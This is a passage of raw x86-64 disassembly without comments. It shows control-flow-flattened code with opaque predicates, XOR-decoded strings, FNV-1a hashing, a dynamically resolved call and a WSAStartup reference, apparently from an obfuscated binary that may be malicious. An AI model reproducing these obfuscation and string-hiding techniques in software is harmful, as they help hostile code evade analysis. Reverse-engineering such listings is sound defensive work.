je 0x18006c4c2
cmp ecx, 0xb3ed82eb
jne 0x18006c4b0
jmp 0x18006c4c9
mov ecx, 0xb3ed82eb
jmp 0x18006c4b0
mov byte [rbp + 0x260], 1
mov cl, byte [rbp + 0x260]
add cl, 0x4e
mov edx, 0x6e0c2a1
jmp 0x18006c490
mov rcx, qword [rbp + 0x180]
sub rsp, 0x20
call fcn.18008fc40
movabs r11, 0x100000001b3
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
jmp 0x18006c590
mov edx, dword [rbp + 0x250]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop word cs:[rax + rax]
nop
cmp edx, 0xfe90a09b
jle 0x18006c600
cmp edx, 0x333d8297
jle 0x18006c650
cmp edx, 0x5cca55f4
jg 0x18006c6ca
cmp edx, 0x333d8298
je 0x18006c78d
cmp edx, 0x33ec62ab
je 0x18006c7a6
cmp edx, 0x42d422e5
jne 0x18006c590
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x18006c590
cmp edx, 0xc5fd57a7
jle 0x18006c690
cmp edx, 0xeb000b68
jg 0x18006c6fa
cmp edx, 0xc5fd57a8
je 0x18006c7b7
cmp edx, 0xd1e81d16
je 0x18006c7c6
cmp edx, 0xd597d4ff
jne 0x18006c590
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x18006c590
cmp edx, 0x12a1b9d7
jle 0x18006c72c
cmp edx, 0x12a1b9d8
je 0x18006c7df
cmp edx, 0x181b9de8
je 0x18006c7ee
cmp edx, 0x28ad3f39
jne 0x18006c590
mov edx, 0x73f80f82
jmp 0x18006c590
cmp edx, 0xb163ad29
jle 0x18006c75e
cmp edx, 0xb163ad2a
je 0x18006c81e
cmp edx, 0xb9d33223
je 0x18006c84b
cmp edx, 0xbb6ed30e
jne 0x18006c590
mov edx, 0x12a1b9d8
jmp 0x18006c590
cmp edx, 0x5cca55f5
je 0x18006c85c
cmp edx, 0x7343bfbc
je 0x18006c541
cmp edx, 0x73f80f82
jne 0x18006c590
mov edx, 0x42d422e5
xor edi, edi
jmp 0x18006c590
cmp edx, 0xeb000b69
je 0x18006c875
cmp edx, 0xfb306983
jne 0x18006c8ec
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x18006c590
cmp edx, 0xfe90a09c
je 0x18006c8a0
cmp edx, 0x1dd0b01
jne 0x18006c590
mov edx, dword [rbp + 0x244]
cmp edx, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x18006c590
cmp edx, 0x87cbc1a8
je 0x18006c8d2
cmp edx, 0x9302de66
jne 0x18006c590
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x18006c590
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x18006c590
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x234]
jmp 0x18006c590
mov dword [rbp + 0x250], r10d
mov edx, r9d
jmp 0x18006c590
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x18006c590
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x18006c590
movsxd rdx, dword [rbp + 0x250]
xor rdx, qword [rbp + 0x278]
imul rdx, r11
mov qword [rbp + 0x248], rdx
mov edx, dword [rbp + 0x270]
add edx, 1
mov dword [rbp + 0x238], edx
mov edx, r8d
jmp 0x18006c590
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov ebx, dword [rbp + 0x270]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x18006c590
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x244]
jmp 0x18006c590
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x18006c590
mov rdx, qword [rbp + 0x260]
movsx edx, byte [rdx]
mov dword [rbp + 0x244], edx
mov edx, dword [rbp + 0x244]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x18006c590
mov edx, dword [rbp + 0x244]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0x234], edx
mov edx, 0x33ec62ab
jmp 0x18006c590
mov edx, dword [rbp + 0x270]
add rdx, rax
mov qword [rbp + 0x260], rdx
mov edx, 0xeb000b69
jmp 0x18006c590
cmp edx, 0xf6d6bd87
jne 0x18006c590
mov rcx, qword [rbp + 0x278]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x1c8]
mov qword [rbp + 0x1c0], rcx
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rcx]
sub rsp, 0x20
mov edx, 0x7530
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x178]
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x270], rax
mov rcx, qword [rbp + 0x270]
mov byte [rcx], 0x20
mov rcx, qword [rbp + 0x270]
mov edx, 0x6b70930f
nop
cmp edx, 0x6b70930f
je 0x18006c972
cmp edx, 0x839fbb3e
jne 0x18006c960
jmp 0x18006c9e0
mov edx, 0x839fbb3e
jmp 0x18006c960
mov byte [rbp + 0x260], cl
mov cl, byte [rbp + 0x260]
mov byte [rax + 2], cl
mov edx, 0xc572c48
nop dword [rax]
cmp edx, 0x6e0c2a1
je 0x18006ca19
cmp edx, 0xc572c48
jne 0x18006c990
mov ecx, 0x35fd7b72
nop dword [rax]
cmp ecx, 0x35fd7b72
je 0x18006c9c2
cmp ecx, 0xb3ed82eb
jne 0x18006c9b0
jmp 0x18006c9c9
mov ecx, 0xb3ed82eb
jmp 0x18006c9b0
mov byte [rbp + 0x260], 1
mov cl, byte [rbp + 0x260]
add cl, 0x61
mov edx, 0x6e0c2a1
jmp 0x18006c990
mov dword [rbp + 0x248], 0x53
movsx rdx, byte [rax]
mov ebx, 0xe74bd942
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xe74bd942
je 0x18006ca12
cmp ebx, 0x71c45d9f
jne 0x18006ca00
jmp 0x18006ca80
mov ebx, 0x71c45d9f
jmp 0x18006ca00
mov byte [rbp + 0x260], cl
mov cl, byte [rbp + 0x260]
mov byte [rax + 3], cl
mov edx, 0xc572c48
nop dword [rax]
cmp edx, 0x6e0c2a1
je 0x18006cab9
cmp edx, 0xc572c48
jne 0x18006ca30
mov ecx, 0x35fd7b72
nop dword [rax]
cmp ecx, 0x35fd7b72
je 0x18006ca62
cmp ecx, 0xb3ed82eb
jne 0x18006ca50
jmp 0x18006ca69
mov ecx, 0xb3ed82eb
jmp 0x18006ca50
mov byte [rbp + 0x260], 1
mov cl, byte [rbp + 0x260]
add cl, 0x6d
mov edx, 0x6e0c2a1
jmp 0x18006ca30
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
mov ebx, dword [rbp + 0x248]
xor bl, dl
mov byte [rcx + 1], bl
mov edx, 0x6b70930f
nop
cmp edx, 0x6b70930f
je 0x18006cab2
cmp edx, 0x839fbb3e
jne 0x18006caa0
jmp 0x18006cb20
mov edx, 0x839fbb3e
jmp 0x18006caa0
mov byte [rbp + 0x260], cl
mov cl, byte [rbp + 0x260]
mov byte [rax + 4], cl
mov edx, 0xc572c48
nop dword [rax]
cmp edx, 0x6e0c2a1
je 0x18006cb59
cmp edx, 0xc572c48
jne 0x18006cad0
mov ecx, 0x35fd7b72
nop dword [rax]
cmp ecx, 0x35fd7b72
je 0x18006cb02
cmp ecx, 0xb3ed82eb
jne 0x18006caf0
jmp 0x18006cb09
mov ecx, 0xb3ed82eb
jmp 0x18006caf0
mov byte [rbp + 0x260], 1
mov cl, byte [rbp + 0x260]
add cl, 0x65
mov edx, 0x6e0c2a1
jmp 0x18006cad0
mov dword [rbp + 0x248], WSAStartup
movsx rdx, byte [rax]
add rdx, 1
mov ebx, 0xe74bd942
nop word [rax + rax]
cmp ebx, 0xe74bd942
je 0x18006cb52
cmp ebx, 0x71c45d9f
jne 0x18006cb40
jmp 0x18006cbc0
mov ebx, 0x71c45d9f
jmp 0x18006cb40
mov byte [rbp + 0x260], cl
mov cl, byte [rbp + 0x260]
mov byte [rax + 5], cl
mov edx, 0xc572c48
nop dword [rax]
cmp edx, 0x6e0c2a1
je 0x18006cbfc
cmp edx, 0xc572c48
jne 0x18006cb70
mov ecx, 0x35fd7b72
nop dword [rax]
cmp ecx, 0x35fd7b72
je 0x18006cba2
cmp ecx, 0xb3ed82eb
jne 0x18006cb90
jmp 0x18006cba9
mov ecx, 0xb3ed82eb
jmp 0x18006cb90
mov byte [rbp + 0x260], 1
mov cl, byte [rbp + 0x260]
add cl, 0x57
mov edx, 0x6e0c2a1
jmp 0x18006cb70
mov qword [rbp + 0x278], rdx
mov rdx, qword [rbp + 0x278]
mov ebx, dword [rbp + 0x248]
xor bl, dl
mov byte [rcx + 2], bl
mov edx, 0x6b70930f
nop
cmp edx, 0x6b70930f
je 0x18006cbf5
cmp edx, 0x839fbb3e
jne 0x18006cbe0
jmp 0x18006d31c
mov edx, 0x839fbb3e
jmp 0x18006cbe0
mov byte [rbp + 0x260], cl
mov cl, byte [rbp + 0x260]
mov byte [rax + 6], cl
mov byte [rax + 7], 0
mov rax, qword [rbp + 0x1b0]
mov edx, 0xd1857bc2
jmp 0x18006cc30
mov edx, 0x7ffcd004
mov rcx, qword [rbp + 0x248]
nop dword [rax]
cmp edx, 0x3b1a256b
jg 0x18006cc70
cmp edx, 0xde00bdc0
jle 0x18006cca0
cmp edx, 0xde00bdc1
je 0x18006cd6c
cmp edx, 0xe1f5262
jne 0x18006cdcf
mov rdx, qword [rbp + 0x270]
mov qword [rbp + 0x250], rdx
mov edx, 0xe291a122
jmp 0x18006cc30
cmp edx, 0x4aa1e349
jg 0x18006cd30
cmp edx, 0x3b1a256c
je 0x18006cc1d
cmp edx, 0x4a1ecfc4
jne 0x18006cc30
mov qword [rbp + 0x270], rax
mov edx, 0xe1f5262
jmp 0x18006cc30
cmp edx, 0xd1857bc2
je 0x18006cd97
cmp edx, 0xd6de13b0
jne 0x18006cc30
mov rdx, qword [rbp + 0x278]
add rdx, rax
mov qword [rbp + 0x260], rdx
mov rdx, qword [rbp + 0x260]
movsx edx, byte [rdx]
mov dword [rbp + 0x238], edx
mov byte [rbp + 0x268], 1
mov dl, byte [rbp + 0x268]
mov byte [rbp + 0x234], dl
mov ebx, 0x76db4b9a
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0x2ea8f0d
je 0x18006cda1
cmp ebx, 0x76db4b9a
jne 0x18006cd00
movsx edx, byte [rbp + 0x234]
mov ebx, 0x2ea8f0d
jmp 0x18006cd00
cmp edx, 0x4aa1e34a
je 0x18006cdc3
cmp edx, 0x7ffcd004
jne 0x18006cc30
mov qword [rbp + 0x278], rcx
mov rdx, qword [rbp + 0x278]
cmp rdx, 0x10
mov edx, 0x4a1ecfc4
mov ebx, 0xd6de13b0
cmovb edx, ebx
jmp 0x18006cc30
mov rdx, qword [rbp + 0x260]
mov bl, byte [rbp + 0x244]
mov byte [rdx], bl
mov rdx, qword [rbp + 0x278]
add rdx, 1
mov qword [rbp + 0x248], rdx
mov edx, 0x3b1a256c
jmp 0x18006cc30
mov edx, 0x4aa1e34a
jmp 0x18006cc30
mov dword [rbp + 0x268], edx
mov edx, dword [rbp + 0x238]
sub edx, dword [rbp + 0x268]
mov byte [rbp + 0x244], dl
mov edx, 0xde00bdc1
jmp 0x18006cc30
mov edx, 0x7ffcd004
xor ecx, ecx
jmp 0x18006cc30
cmp edx, 0xe291a122
jne 0x18006cc30
mov r10, qword [rbp + 0x250]
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov eax, 0x9302de66
cmovne r8d, eax
mov r9d, 0x7343bfbc
mov eax, 0x181b9de8
cmovne r9d, eax
mov edx, 0x28ad3f39
jmp 0x18006ce70
mov eax, dword [rbp + 0x250]
mov rax, qword [rbp + 0x278]
mov rax, qword [rbp + 0x278]
mov rax, qword [rbp + 0x278]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop dword [rax]
cmp edx, 0xfe90a09b
jle 0x18006cee0
cmp edx, 0x333d8297
jle 0x18006cf30
cmp edx, 0x5cca55f4
jg 0x18006cfaa
cmp edx, 0x333d8298
je 0x18006d06d
cmp edx, 0x33ec62ab
je 0x18006d086
cmp edx, 0x42d422e5
jne 0x18006ce70
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [r10 + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x18006ce70
cmp edx, 0xc5fd57a7
jle 0x18006cf70
cmp edx, 0xeb000b68
jg 0x18006cfda
cmp edx, 0xc5fd57a8
je 0x18006d096
cmp edx, 0xd1e81d16
je 0x18006d0a4
cmp edx, 0xd597d4ff
jne 0x18006ce70
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x18006ce70
cmp edx, 0x12a1b9d7
jle 0x18006d00c
cmp edx, 0x12a1b9d8
je 0x18006d0bd
cmp edx, 0x181b9de8
je 0x18006d0cc
cmp edx, 0x28ad3f39
jne 0x18006ce70
mov edx, 0x73f80f82
jmp 0x18006ce70
cmp edx, 0xb163ad29
jle 0x18006d03e
cmp edx, 0xb163ad2a
je 0x18006d0fc
cmp edx, 0xb9d33223
je 0x18006d129
cmp edx, 0xbb6ed30e
jne 0x18006ce70
mov edx, 0x12a1b9d8
jmp 0x18006ce70
cmp edx, 0x5cca55f5
je 0x18006d139
cmp edx, 0x7343bfbc
je 0x18006ce25
cmp edx, 0x73f80f82
jne 0x18006ce70
mov edx, 0x42d422e5
xor edi, edi
jmp 0x18006ce70
cmp edx, 0xeb000b69
je 0x18006d152
cmp edx, 0xfb306983
jne 0x18006d1c7
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x18006ce70
cmp edx, 0xfe90a09c
je 0x18006d17d
cmp edx, 0x1dd0b01
jne 0x18006ce70
mov eax, dword [rbp + 0x244]
cmp eax, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x18006ce70
cmp edx, 0x87cbc1a8
je 0x18006d1ad
cmp edx, 0x9302de66
jne 0x18006ce70
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x18006ce70
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov eax, 0x5cca55f5
cmovne edx, eax
jmp 0x18006ce70
mov edx, 0xc5fd57a8
mov ebx, dword [rbp + 0x234]
jmp 0x18006ce70
mov dword [rbp + 0x250], ebx
mov edx, r9d
jmp 0x18006ce70
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov eax, 0xfe90a09c
cmovne edx, eax
jmp 0x18006ce70
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x18006ce70
movsxd rax, dword [rbp + 0x250]
xor rax, qword [rbp + 0x278]
imul rax, r11
mov qword [rbp + 0x248], rax
mov eax, dword [rbp + 0x270]
add eax, 1
mov dword [rbp + 0x238], eax
mov edx, r8d
jmp 0x18006ce70
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov eax, dword [rbp + 0x270]
cmp eax, edx
mov edx, 0xf6d6bd87
mov eax, 0x87cbc1a8
cmovb edx, eax
jmp 0x18006ce70
mov edx, 0xc5fd57a8
mov ebx, dword [rbp + 0x244]
jmp 0x18006ce70
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x18006ce70
mov rax, qword [rbp + 0x260]
movsx eax, byte [rax]
mov dword [rbp + 0x244], eax
mov eax, dword [rbp + 0x244]
cmp eax, 0x41
mov edx, 0xb9d33223
mov eax, 0x1dd0b01
cmovge edx, eax
jmp 0x18006ce70
mov eax, dword [rbp + 0x244]
mov edx, eax
and edx, 0x72963832
or edx, 0x8d414380
and eax, 0x8d69c7ed
xor eax, edx
xor eax, 0x8d4143a0
mov dword [rbp + 0x234], eax
mov edx, 0x33ec62ab
jmp 0x18006ce70
mov eax, dword [rbp + 0x270]
add rax, r10
mov qword [rbp + 0x260], rax
mov edx, 0xeb000b69
jmp 0x18006ce70
cmp edx, 0xf6d6bd87
jne 0x18006ce70
mov rcx, qword [rbp + 0x278]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rsi, rax
lea rax, [rbp + 0x1af0]
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x1a8]
mov rbx, qword [rbp + 0x1a8]
mov qword [rbp + 0x270], rbx
mov rax, qword [rbp + 0x270]
mov word [rax], 0x2a37
mov rax, qword [rbp + 0x270]
add rax, 2
mov qword [rbp + 0x250], rax
sub rsp, 0x20
mov rcx, rbx
mov dx, 0x4e
call fcn.180097b60
add rsp, 0x20
mov rcx, qword [rbp + 0x250]
mov word [rcx], ax
mov ecx, 0x792f2cf4
nop
cmp ecx, 0x737fdbab
jg 0x18006d2c0
cmp ecx, 0x89b53625
je 0x18006d35c
cmp ecx, 0xf5c0a58b
jne 0x18006d250
mov rax, qword [rbp + 0x248]
movzx edx, word [rax]
sub rsp, 0x20
mov rcx, rbx
call fcn.180097b60
add rsp, 0x20
mov rcx, qword [rbp + 0x260]
mov word [rcx], ax
mov rax, qword [rbp + 0x260]
add rax, 2
mov rcx, qword [rbp + 0x270]
add rcx, 8
mov qword [rbp + 0x278], rcx
mov ecx, 0x737fdbac
jmp 0x18006d250
cmp ecx, 0x737fdbac
je 0x18006d2fa
cmp ecx, 0x792f2cf4
jne 0x18006d250
mov rcx, qword [rbp + 0x250]
add rcx, 2
mov qword [rbp + 0x260], rcx
lea rcx, [0x18011fc48]
mov qword [rbp + 0x248], rcx
mov ecx, 0xf5c0a58b
jmp 0x18006d250
mov word [rax], 0
add rax, 2
cmp rax, qword [rbp + 0x278]
mov ecx, 0x737fdbac
mov edx, 0x89b53625
cmove ecx, edx
jmp 0x18006d250
mov dword [rbp + 0x248], 0x65
movsx rdx, byte [rax]
add rdx, 2
mov ebx, 0xe74bd942
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xe74bd942
je 0x18006d355
cmp ebx, 0x71c45d9f
jne 0x18006d340
jmp 0x18006e234
mov ebx, 0x71c45d9f
jmp 0x18006d340
mov rcx, qword [rbp + 0x1a8]
sub rsp, 0x20
call fcn.18008ec40
add rsp, 0x20
mov r9, qword [rbp + 0x208]
sub rsp, 0x20
lea rcx, [rbp + 0xaf0]
mov rdx, rax
xor r8d, r8d
call rsi
add rsp, 0x20
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rbp + 0x1a0]
mov ecx, dword [0x180129c28]
mov edx, dword [0x180129c2c]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete byte [rbp + 0x244]
cmp edx, 0xa
setl byte [rbp + 0x234]
mov edx, 0x339883e5
mov r8d, 0x913162f4
mov r9d, 0x3ba1b147
mov r11d, 0xeebf56fe
mov r10d, 0x189b2208
mov esi, 0x8432c336
mov edi, 0x58751ab
jmp 0x18006d400
mov ebx, dword [rbp + 0x238]
xor ebx, dword [rbp + 0x268]
mov byte [rdx + 3], bl
mov edx, 0x8432c336
nop
cmp edx, 0x189b2207
jle 0x18006d450
cmp edx, 0x339883e4
jle 0x18006d510
cmp edx, 0x5e64590e
je 0x18006d5d7
cmp edx, 0x3ba1b147
je 0x18006d647
cmp edx, 0x339883e5
jne 0x18006d400
mov bl, byte [rbp + 0x244]
cmp byte [rbp + 0x234], 0
mov edx, 0x5e64590e
cmovne edx, edi
test bl, bl
cmovne edx, edi
jmp 0x18006d400
cmp edx, 0xeaa670fb
jle 0x18006d550
cmp edx, 0xeaa670fc
je 0x18006d651
cmp edx, 0xeebf56fe
je 0x18006d6b7
cmp edx, 0x58751ab
jne 0x18006d400
mov qword [rbp + 0x270], rax
mov rdx, qword [rbp + 0x270]
mov byte [rdx], 0x6d
mov rdx, qword [rbp + 0x270]
mov dword [rbp + 0x238], 0x44
mov ebx, 0xbed44fb9
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x570db4c6
je 0x18006d6c1
cmp ebx, 0xbed44fb9
jne 0x18006d4b0
mov ebx, 0x690a3a4
nop dword [rax]
cmp ebx, 0x690a3a4
je 0x18006d4e2
cmp ebx, 0x23daed3b
jne 0x18006d4d0
jmp 0x18006d4e9
mov ebx, 0x23daed3b
jmp 0x18006d4d0
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
movsx ebx, byte [rbx]
mov dword [rbp + 0x268], ebx
mov ebx, 0x570db4c6
jmp 0x18006d4b0
cmp edx, 0x20c21544
je 0x18006d703
cmp edx, 0x28b4a028
jne 0x18006ddb6
mov edx, dword [0x180129c28]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x913162f4
cmove edx, esi
cmp dword [0x180129c2c], 0xa
cmovl edx, esi
jmp 0x18006d400
cmp edx, 0x8432c336
je 0x18006d71f
cmp edx, 0x913162f4
jne 0x18006d400
mov dword [rbp + 0x238], 0x65
mov edx, 0xbed44fb9
nop word [rax + rax]
cmp edx, 0x570db4c6
je 0x18006d787
cmp edx, 0xbed44fb9
jne 0x18006d580
mov edx, 0x690a3a4
nop dword [rax]
cmp edx, 0x690a3a4
je 0x18006d5b2
cmp edx, 0x23daed3b
jne 0x18006d5a0
jmp 0x18006d5b9
mov edx, 0x23daed3b
jmp 0x18006d5a0
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x268], edx
mov edx, 0x570db4c6
jmp 0x18006d580
mov byte [rax], 0x6d
mov dword [rbp + 0x238], 0x44
mov edx, 0xbed44fb9
nop dword [rax]
cmp edx, 0x570db4c6
je 0x18006d817
cmp edx, 0xbed44fb9
jne 0x18006d5f0
mov edx, 0x690a3a4
nop dword [rax]
cmp edx, 0x690a3a4
je 0x18006d622
cmp edx, 0x23daed3b
jne 0x18006d610
jmp 0x18006d629
mov edx, 0x23daed3b
jmp 0x18006d610
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x268], edx
mov edx, 0x570db4c6
jmp 0x18006d5f0
mov edx, 0xeaa670fc
jmp 0x18006d400
mov dword [rbp + 0x238], 0x65
mov ecx, 0xbed44fb9
cmp ecx, 0x570db4c6
je 0x18006d830
cmp ecx, 0xbed44fb9
jne 0x18006d660
mov ecx, 0x690a3a4
nop dword [rax]
cmp ecx, 0x690a3a4
je 0x18006d692
cmp ecx, 0x23daed3b
jne 0x18006d680
jmp 0x18006d699
mov ecx, 0x23daed3b
jmp 0x18006d680
mov qword [rbp + 0x278], rax
mov rcx, qword [rbp + 0x278]
movsx ecx, byte [rcx]
mov dword [rbp + 0x268], ecx
mov ecx, 0x570db4c6
jmp 0x18006d660
mov edx, 0x28b4a028
jmp 0x18006d400
mov ebx, dword [rbp + 0x238]
xor ebx, dword [rbp + 0x268]
mov byte [rdx + 1], bl
add rdx, 2
mov qword [rbp + 0x250], rdx
mov edx, dword [0x180129c28]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x5e64590e
cmove edx, r11d
cmp dword [0x180129c2c], 0xa
cmovl edx, r11d
jmp 0x18006d400
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x248]
mov edx, 0x20c21544
cmove edx, r10d
jmp 0x18006d400
mov dword [rbp + 0x238], 0x65
mov edx, 0xbed44fb9
nop
cmp edx, 0x570db4c6
je 0x18006d8b7
cmp edx, 0xbed44fb9
jne 0x18006d730
mov edx, 0x690a3a4
nop dword [rax]
cmp edx, 0x690a3a4
je 0x18006d762
cmp edx, 0x23daed3b
jne 0x18006d750
jmp 0x18006d769
mov edx, 0x23daed3b
jmp 0x18006d750
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x268], edx
mov edx, 0x570db4c6
jmp 0x18006d730
mov edx, dword [rbp + 0x238]
xor edx, dword [rbp + 0x268]
mov rbx, qword [rbp + 0x250]
mov byte [rbx], dl
mov rdx, qword [rbp + 0x250]
mov dword [rbp + 0x238], WSAStartup
mov ebx, 0xbed44fb9
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x570db4c6
je 0x18006d947
cmp ebx, 0xbed44fb9
jne 0x18006d7c0
mov ebx, 0x690a3a4
nop dword [rax]
cmp ebx, 0x690a3a4
je 0x18006d7f2
cmp ebx, 0x23daed3b
jne 0x18006d7e0
jmp 0x18006d7f9
mov ebx, 0x23daed3b
jmp 0x18006d7e0
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
movsx ebx, byte [rbx]
mov dword [rbp + 0x268], ebx
mov ebx, 0x570db4c6
jmp 0x18006d7c0
mov edx, dword [rbp + 0x238]
xor edx, dword [rbp + 0x268]
mov byte [rax + 1], dl
mov edx, 0x58751ab
jmp 0x18006d400
mov ecx, dword [rbp + 0x238]
xor ecx, dword [rbp + 0x268]
mov rdx, qword [rbp + 0x260]
mov byte [rdx], cl
mov rcx, qword [rbp + 0x260]
mov dword [rbp + 0x238], 0x46
mov edx, 0xbed44fb9
nop dword [rax + rax]
cmp edx, 0x570db4c6
je 0x18006d9c7
cmp edx, 0xbed44fb9
jne 0x18006d860
mov edx, 0x690a3a4
nop dword [rax]
cmp edx, 0x690a3a4
je 0x18006d892
cmp edx, 0x23daed3b
jne 0x18006d880
jmp 0x18006d899
mov edx, 0x23daed3b
jmp 0x18006d880
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x268], edx
mov edx, 0x570db4c6
jmp 0x18006d860
mov edx, dword [rbp + 0x238]
xor edx, dword [rbp + 0x268]
mov rbx, qword [rbp + 0x250]
mov byte [rbx], dl
mov rdx, qword [rbp + 0x250]
mov dword [rbp + 0x238], WSAStartup
mov ebx, 0xbed44fb9
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x570db4c6
je 0x18006da47
cmp ebx, 0xbed44fb9
jne 0x18006d8f0
mov ebx, 0x690a3a4
nop dword [rax]
cmp ebx, 0x690a3a4
je 0x18006d922
cmp ebx, 0x23daed3b
jne 0x18006d910
jmp 0x18006d929
mov ebx, 0x23daed3b
jmp 0x18006d910
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
movsx ebx, byte [rbx]
mov dword [rbp + 0x268], ebx
mov ebx, 0x570db4c6
jmp 0x18006d8f0
mov ebx, dword [rbp + 0x238]
xor ebx, dword [rbp + 0x268]
mov byte [rdx + 1], bl
mov dword [rbp + 0x238], 0x65
mov ebx, 0xbed44fb9
nop word cs:[rax + rax]
nop
cmp ebx, 0x570db4c6
je 0x18006dac7
cmp ebx, 0xbed44fb9
jne 0x18006d970
mov ebx, 0x690a3a4
nop dword [rax]
cmp ebx, 0x690a3a4
je 0x18006d9a2
cmp ebx, 0x23daed3b
jne 0x18006d990
jmp 0x18006d9a9
mov ebx, 0x23daed3b
jmp 0x18006d990
mov qword [rbp + 0x278], rax
mov rbx, qword [rbp + 0x278]
movsx ebx, byte [rbx]
mov dword [rbp + 0x268], ebx
mov ebx, 0x570db4c6
jmp 0x18006d970
mov edx, dword [rbp + 0x238]
xor edx, dword [rbp + 0x268]
mov byte [rcx + 1], dl
mov dword [rbp + 0x238], 0x69
mov edx, 0xbed44fb9
nop word cs:[rax + rax]
nop
cmp edx, 0x570db4c6
je 0x18006db47
cmp edx, 0xbed44fb9
jne 0x18006d9f0
mov edx, 0x690a3a4
nop dword [rax]
cmp edx, 0x690a3a4
je 0x18006da22
cmp edx, 0x23daed3b
jne 0x18006da10
jmp 0x18006da29
mov edx, 0x23daed3b
jmp 0x18006da10
mov qword [rbp + 0x278], rax
mov rdx, qword [rbp + 0x278]
movsx edx, byte [rdx]
mov dword [rbp + 0x268], edx
